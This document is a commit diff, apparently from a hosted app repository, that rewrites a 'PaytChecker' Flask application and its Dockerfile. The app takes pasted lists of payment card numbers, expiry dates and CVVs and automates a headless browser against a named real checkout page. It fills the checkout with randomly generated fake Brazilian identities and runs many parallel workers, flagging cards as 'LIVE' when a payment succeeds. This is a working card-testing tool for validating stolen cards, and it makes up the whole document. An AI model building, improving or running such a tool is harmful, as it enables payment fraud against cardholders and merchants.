Spaces:
Sleeping
Sleeping
Upload 4 files
Browse files- Dockerfile +4 -5
- app.py +77 -92
Dockerfile
CHANGED
|
@@ -35,7 +35,7 @@ RUN apt-get update && apt-get install -y \
|
|
| 35 |
ENV PLAYWRIGHT_BROWSERS_PATH=/usr/local/share/playwright
|
| 36 |
WORKDIR /app
|
| 37 |
|
| 38 |
-
# 3. Instalar dependências Python GLOBALMENTE
|
| 39 |
COPY requirements.txt .
|
| 40 |
RUN pip install --no-cache-dir --upgrade pip && \
|
| 41 |
pip install --no-cache-dir -r requirements.txt
|
|
@@ -43,7 +43,7 @@ RUN pip install --no-cache-dir --upgrade pip && \
|
|
| 43 |
# 4. Instalar navegadores globalmente
|
| 44 |
RUN playwright install chromium
|
| 45 |
|
| 46 |
-
# 5. Configurar usuário não-root para execução
|
| 47 |
RUN useradd -m -u 1000 user && \
|
| 48 |
chown -R user:user /app && \
|
| 49 |
chmod -R 777 /usr/local/share/playwright
|
|
@@ -54,6 +54,5 @@ COPY --chown=user . .
|
|
| 54 |
USER user
|
| 55 |
EXPOSE 7860
|
| 56 |
|
| 57 |
-
#
|
| 58 |
-
|
| 59 |
-
CMD ["gunicorn", "--worker-class", "eventlet", "-w", "1", "--timeout", "300", "--bind", "0.0.0.0:7860", "app:app"]
|
|
|
|
| 35 |
ENV PLAYWRIGHT_BROWSERS_PATH=/usr/local/share/playwright
|
| 36 |
WORKDIR /app
|
| 37 |
|
| 38 |
+
# 3. Instalar dependências Python GLOBALMENTE
|
| 39 |
COPY requirements.txt .
|
| 40 |
RUN pip install --no-cache-dir --upgrade pip && \
|
| 41 |
pip install --no-cache-dir -r requirements.txt
|
|
|
|
| 43 |
# 4. Instalar navegadores globalmente
|
| 44 |
RUN playwright install chromium
|
| 45 |
|
| 46 |
+
# 5. Configurar usuário não-root para execução
|
| 47 |
RUN useradd -m -u 1000 user && \
|
| 48 |
chown -R user:user /app && \
|
| 49 |
chmod -R 777 /usr/local/share/playwright
|
|
|
|
| 54 |
USER user
|
| 55 |
EXPOSE 7860
|
| 56 |
|
| 57 |
+
# Rodar diretamente com python3 para suportar o loop assíncrono interno
|
| 58 |
+
CMD ["python3", "app.py"]
|
|
|
app.py
CHANGED
|
@@ -1,16 +1,16 @@
|
|
| 1 |
-
|
| 2 |
-
from flask_socketio import SocketIO, emit
|
| 3 |
-
from playwright.sync_api import sync_playwright
|
| 4 |
import random
|
| 5 |
import time
|
| 6 |
import re
|
| 7 |
import requests
|
| 8 |
-
import
|
|
|
|
|
|
|
| 9 |
|
| 10 |
app = Flask(__name__, template_folder='templates', static_folder='static')
|
| 11 |
-
app.config['SECRET_KEY'] = 'payt-checker-v2-
|
| 12 |
-
#
|
| 13 |
-
socketio = SocketIO(app, cors_allowed_origins="*", async_mode='
|
| 14 |
|
| 15 |
class PaytChecker:
|
| 16 |
def __init__(self, sid):
|
|
@@ -18,21 +18,10 @@ class PaytChecker:
|
|
| 18 |
self.base_url = "https://checkout.payt.com.br/35a53eba9befcf53a42be3f0b22a39c2"
|
| 19 |
self.provedores_email = ["@gmail.com", "@outlook.com", "@hotmail.com", "@yahoo.com.br"]
|
| 20 |
|
| 21 |
-
def
|
| 22 |
-
socketio.emit(
|
| 23 |
-
'type': type,
|
| 24 |
-
'badge': badge,
|
| 25 |
-
'card': card,
|
| 26 |
-
'msg': msg,
|
| 27 |
-
'slot': slot,
|
| 28 |
-
'tempo': tempo
|
| 29 |
-
}, room=self.sid)
|
| 30 |
-
|
| 31 |
-
def update_stats(self, stats):
|
| 32 |
-
socketio.emit('update_stats', stats, room=self.sid)
|
| 33 |
|
| 34 |
def gerar_dados(self):
|
| 35 |
-
# Tenta 4devs primeiro
|
| 36 |
try:
|
| 37 |
url = 'https://www.4devs.com.br/ferramentas_online.php'
|
| 38 |
payload = {'acao': 'gerar_pessoa', 'sexo': 'I', 'pontuacao': 'S', 'idade': '0', 'txt_qtde': '1'}
|
|
@@ -53,23 +42,19 @@ class PaytChecker:
|
|
| 53 |
primeiros = ["Joao", "Maria", "Jose", "Ana", "Carlos", "Juliana", "Pedro", "Fernanda"]
|
| 54 |
sobrenomes = ["Silva", "Santos", "Oliveira", "Souza", "Rodrigues", "Ferreira", "Alves", "Lima"]
|
| 55 |
nome = f"{random.choice(primeiros)} {random.choice(sobrenomes)}"
|
| 56 |
-
cpf = "".join([str(random.randint(0, 9)) for _ in range(11)])
|
| 57 |
email = f"{nome.split()[0].lower()}{random.randint(100, 999)}{random.choice(self.provedores_email)}"
|
| 58 |
return {
|
| 59 |
-
'nome': nome,
|
| 60 |
-
'nome_cartao': nome.upper(),
|
| 61 |
-
'cpf': cpf,
|
| 62 |
-
'email': email,
|
| 63 |
'telefone': f"119{random.randint(10000000, 99999999)}"
|
| 64 |
}
|
| 65 |
|
| 66 |
-
def testar_cartao(self, cartao, slot, stats_container
|
| 67 |
partes = cartao.split('|')
|
| 68 |
if len(partes) != 4:
|
| 69 |
-
|
| 70 |
-
|
| 71 |
-
|
| 72 |
-
self.update_stats(stats_container)
|
| 73 |
return
|
| 74 |
|
| 75 |
numero, mes, ano, cvv = partes
|
|
@@ -77,44 +62,41 @@ class PaytChecker:
|
|
| 77 |
dados = self.gerar_dados()
|
| 78 |
inicio = time.time()
|
| 79 |
|
| 80 |
-
|
| 81 |
-
|
| 82 |
-
browser = p.chromium.launch(headless=True, args=['--no-sandbox'])
|
| 83 |
-
|
| 84 |
|
| 85 |
-
|
| 86 |
|
| 87 |
-
|
| 88 |
-
|
| 89 |
|
| 90 |
-
|
| 91 |
-
|
| 92 |
-
|
| 93 |
-
|
| 94 |
-
|
| 95 |
-
|
| 96 |
-
|
| 97 |
-
|
| 98 |
-
|
| 99 |
-
|
| 100 |
|
| 101 |
-
# Clique no botão
|
| 102 |
btn_clicado = False
|
| 103 |
for sel in ['button:has-text("Confirmar Pagamento")', 'button[type="submit"]', '.btn-primary']:
|
| 104 |
-
if
|
| 105 |
-
|
| 106 |
btn_clicado = True
|
| 107 |
break
|
| 108 |
|
| 109 |
-
if not btn_clicado:
|
| 110 |
-
raise Exception("Botão não encontrado")
|
| 111 |
|
| 112 |
-
# Captura Retorno
|
| 113 |
status, msg = "DIE", "Timeout"
|
| 114 |
for _ in range(60):
|
| 115 |
-
|
| 116 |
-
body =
|
| 117 |
-
if "obrigado" in
|
| 118 |
status, msg = "LIVE", "Aprovado!"
|
| 119 |
break
|
| 120 |
|
|
@@ -131,56 +113,59 @@ class PaytChecker:
|
|
| 131 |
|
| 132 |
tempo = round(time.time() - inicio, 1)
|
| 133 |
|
| 134 |
-
|
| 135 |
-
|
| 136 |
-
|
| 137 |
-
|
| 138 |
-
|
| 139 |
-
|
| 140 |
-
|
| 141 |
-
|
| 142 |
-
|
| 143 |
-
|
| 144 |
-
socketio.emit('thread_status', {'id': slot, 'status': f'done-{status.lower()}', 'card': cartao}, room=self.sid)
|
| 145 |
|
| 146 |
-
browser.close()
|
| 147 |
-
|
| 148 |
-
with stats_container['lock']:
|
| 149 |
stats_container['errors'] += 1
|
| 150 |
stats_container['checked'] += 1
|
| 151 |
-
self.
|
| 152 |
-
self.
|
| 153 |
-
|
|
|
|
| 154 |
|
| 155 |
@app.route('/')
|
| 156 |
def index():
|
| 157 |
return render_template('index.html')
|
| 158 |
|
| 159 |
-
|
| 160 |
-
|
| 161 |
-
|
| 162 |
-
threads_count = min(int(data['threads']), 10)
|
| 163 |
-
sid = request.sid
|
| 164 |
-
|
| 165 |
-
stats = {
|
| 166 |
-
'lives': 0, 'dies': 0, 'errors': 0, 'checked': 0,
|
| 167 |
-
'total': len(cards), 'lock': threading.Lock()
|
| 168 |
-
}
|
| 169 |
|
|
|
|
| 170 |
checker = PaytChecker(sid)
|
| 171 |
-
socketio.emit('set_ui', {'on': True}, room=sid)
|
| 172 |
|
| 173 |
-
def worker(card_list, slot_id):
|
| 174 |
for card in card_list:
|
| 175 |
-
checker.testar_cartao(card, slot_id, stats
|
| 176 |
-
|
| 177 |
socketio.emit('thread_status', {'id': slot_id, 'status': 'idle', 'card': ''}, room=sid)
|
| 178 |
|
| 179 |
-
# Distribuição de cards por thread
|
| 180 |
chunks = [cards[i::threads_count] for i in range(threads_count)]
|
| 181 |
-
for i, chunk in enumerate(chunks)
|
| 182 |
-
|
| 183 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 184 |
|
| 185 |
if __name__ == '__main__':
|
| 186 |
-
socketio.run(app, host='0.0.0.0', port=7860)
|
|
|
|
| 1 |
+
import asyncio
|
|
|
|
|
|
|
| 2 |
import random
|
| 3 |
import time
|
| 4 |
import re
|
| 5 |
import requests
|
| 6 |
+
from flask import Flask, render_template, request
|
| 7 |
+
from flask_socketio import SocketIO
|
| 8 |
+
from playwright.async_api import async_playwright
|
| 9 |
|
| 10 |
app = Flask(__name__, template_folder='templates', static_folder='static')
|
| 11 |
+
app.config['SECRET_KEY'] = 'payt-checker-v2-async'
|
| 12 |
+
# No modo assíncrono, o SocketIO precisa de uma configuração específica
|
| 13 |
+
socketio = SocketIO(app, cors_allowed_origins="*", async_mode='threading')
|
| 14 |
|
| 15 |
class PaytChecker:
|
| 16 |
def __init__(self, sid):
|
|
|
|
| 18 |
self.base_url = "https://checkout.payt.com.br/35a53eba9befcf53a42be3f0b22a39c2"
|
| 19 |
self.provedores_email = ["@gmail.com", "@outlook.com", "@hotmail.com", "@yahoo.com.br"]
|
| 20 |
|
| 21 |
+
async def emit_to_client(self, event, data):
|
| 22 |
+
socketio.emit(event, data, room=self.sid)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 23 |
|
| 24 |
def gerar_dados(self):
|
|
|
|
| 25 |
try:
|
| 26 |
url = 'https://www.4devs.com.br/ferramentas_online.php'
|
| 27 |
payload = {'acao': 'gerar_pessoa', 'sexo': 'I', 'pontuacao': 'S', 'idade': '0', 'txt_qtde': '1'}
|
|
|
|
| 42 |
primeiros = ["Joao", "Maria", "Jose", "Ana", "Carlos", "Juliana", "Pedro", "Fernanda"]
|
| 43 |
sobrenomes = ["Silva", "Santos", "Oliveira", "Souza", "Rodrigues", "Ferreira", "Alves", "Lima"]
|
| 44 |
nome = f"{random.choice(primeiros)} {random.choice(sobrenomes)}"
|
| 45 |
+
cpf = "".join([str(random.randint(0, 9)) for _ in range(11)])
|
| 46 |
email = f"{nome.split()[0].lower()}{random.randint(100, 999)}{random.choice(self.provedores_email)}"
|
| 47 |
return {
|
| 48 |
+
'nome': nome, 'nome_cartao': nome.upper(), 'cpf': cpf, 'email': email,
|
|
|
|
|
|
|
|
|
|
| 49 |
'telefone': f"119{random.randint(10000000, 99999999)}"
|
| 50 |
}
|
| 51 |
|
| 52 |
+
async def testar_cartao(self, cartao, slot, stats_container):
|
| 53 |
partes = cartao.split('|')
|
| 54 |
if len(partes) != 4:
|
| 55 |
+
stats_container['errors'] += 1
|
| 56 |
+
stats_container['checked'] += 1
|
| 57 |
+
await self.emit_to_client('update_stats', stats_container)
|
|
|
|
| 58 |
return
|
| 59 |
|
| 60 |
numero, mes, ano, cvv = partes
|
|
|
|
| 62 |
dados = self.gerar_dados()
|
| 63 |
inicio = time.time()
|
| 64 |
|
| 65 |
+
async with async_playwright() as p:
|
| 66 |
+
try:
|
| 67 |
+
browser = await p.chromium.launch(headless=True, args=['--no-sandbox'])
|
| 68 |
+
page = await browser.new_page()
|
| 69 |
|
| 70 |
+
await self.emit_to_client('thread_status', {'id': slot, 'status': 'active', 'card': cartao})
|
| 71 |
|
| 72 |
+
await page.goto(self.base_url, wait_until='domcontentloaded')
|
| 73 |
+
await asyncio.sleep(1)
|
| 74 |
|
| 75 |
+
await page.fill('#full_name', str(dados['nome']))
|
| 76 |
+
await page.fill('#email', str(dados['email']))
|
| 77 |
+
await page.fill('#phone', str(dados['telefone']))
|
| 78 |
+
await page.fill('#cpf_cnpj', str(dados['cpf']))
|
| 79 |
+
await page.evaluate("window.scrollBy(0, 400)")
|
| 80 |
+
await asyncio.sleep(0.5)
|
| 81 |
+
await page.fill('#cardNumber', str(numero))
|
| 82 |
+
await page.fill('#cardName', str(dados['nome_cartao']))
|
| 83 |
+
await page.fill('#cardDueDate', f"{mes}{ano}")
|
| 84 |
+
await page.fill('#cardCvv', str(cvv))
|
| 85 |
|
|
|
|
| 86 |
btn_clicado = False
|
| 87 |
for sel in ['button:has-text("Confirmar Pagamento")', 'button[type="submit"]', '.btn-primary']:
|
| 88 |
+
if await page.locator(sel).count() > 0:
|
| 89 |
+
await page.locator(sel).first.click(force=True)
|
| 90 |
btn_clicado = True
|
| 91 |
break
|
| 92 |
|
| 93 |
+
if not btn_clicado: raise Exception("Botão não encontrado")
|
|
|
|
| 94 |
|
|
|
|
| 95 |
status, msg = "DIE", "Timeout"
|
| 96 |
for _ in range(60):
|
| 97 |
+
await asyncio.sleep(1)
|
| 98 |
+
body = (await page.locator('body').text_content()).lower()
|
| 99 |
+
if "obrigado" in page.url or "sucesso" in body:
|
| 100 |
status, msg = "LIVE", "Aprovado!"
|
| 101 |
break
|
| 102 |
|
|
|
|
| 113 |
|
| 114 |
tempo = round(time.time() - inicio, 1)
|
| 115 |
|
| 116 |
+
if status == "LIVE":
|
| 117 |
+
stats_container['lives'] += 1
|
| 118 |
+
await self.emit_to_client('live_card', {'card': cartao, 'msg': msg, 'tempo': tempo})
|
| 119 |
+
else:
|
| 120 |
+
stats_container['dies'] += 1
|
| 121 |
+
|
| 122 |
+
stats_container['checked'] += 1
|
| 123 |
+
await self.emit_to_client('log', {'type': status.lower(), 'badge': status, 'card': cartao, 'msg': msg, 'slot': slot, 'tempo': tempo})
|
| 124 |
+
await self.emit_to_client('update_stats', stats_container)
|
| 125 |
+
await self.emit_to_client('thread_status', {'id': slot, 'status': f'done-{status.lower()}', 'card': cartao})
|
|
|
|
| 126 |
|
| 127 |
+
await browser.close()
|
| 128 |
+
except Exception as e:
|
|
|
|
| 129 |
stats_container['errors'] += 1
|
| 130 |
stats_container['checked'] += 1
|
| 131 |
+
await self.emit_to_client('log', {'type': 'erro', 'badge': 'ERROR', 'card': cartao, 'msg': str(e), 'slot': slot})
|
| 132 |
+
await self.emit_to_client('update_stats', stats_container)
|
| 133 |
+
await self.emit_to_client('thread_status', {'id': slot, 'status': 'done-err', 'card': cartao})
|
| 134 |
+
if 'browser' in locals(): await browser.close()
|
| 135 |
|
| 136 |
@app.route('/')
|
| 137 |
def index():
|
| 138 |
return render_template('index.html')
|
| 139 |
|
| 140 |
+
def run_async_checker(cards, threads_count, sid):
|
| 141 |
+
loop = asyncio.new_event_loop()
|
| 142 |
+
asyncio.set_event_loop(loop)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 143 |
|
| 144 |
+
stats = {'lives': 0, 'dies': 0, 'errors': 0, 'checked': 0, 'total': len(cards)}
|
| 145 |
checker = PaytChecker(sid)
|
|
|
|
| 146 |
|
| 147 |
+
async def worker(card_list, slot_id):
|
| 148 |
for card in card_list:
|
| 149 |
+
await checker.testar_cartao(card, slot_id, stats)
|
| 150 |
+
await asyncio.sleep(0.5)
|
| 151 |
socketio.emit('thread_status', {'id': slot_id, 'status': 'idle', 'card': ''}, room=sid)
|
| 152 |
|
|
|
|
| 153 |
chunks = [cards[i::threads_count] for i in range(threads_count)]
|
| 154 |
+
tasks = [worker(chunk, i) for i, chunk in enumerate(chunks) if chunk]
|
| 155 |
+
|
| 156 |
+
loop.run_until_complete(asyncio.gather(*tasks))
|
| 157 |
+
socketio.emit('process_complete', stats, room=sid)
|
| 158 |
+
loop.close()
|
| 159 |
+
|
| 160 |
+
@socketio.on('start_process')
|
| 161 |
+
def handle_start(data):
|
| 162 |
+
cards = [c.strip() for c in data['cards'].split('\n') if '|' in c]
|
| 163 |
+
threads_count = min(int(data['threads']), 10)
|
| 164 |
+
sid = request.sid
|
| 165 |
+
socketio.emit('set_ui', {'on': True}, room=sid)
|
| 166 |
+
# Roda o loop assíncrono em uma thread separada para não travar o Flask
|
| 167 |
+
import threading
|
| 168 |
+
threading.Thread(target=run_async_checker, args=(cards, threads_count, sid)).start()
|
| 169 |
|
| 170 |
if __name__ == '__main__':
|
| 171 |
+
socketio.run(app, host='0.0.0.0', port=7860, allow_unsafe_werkzeug=True)
|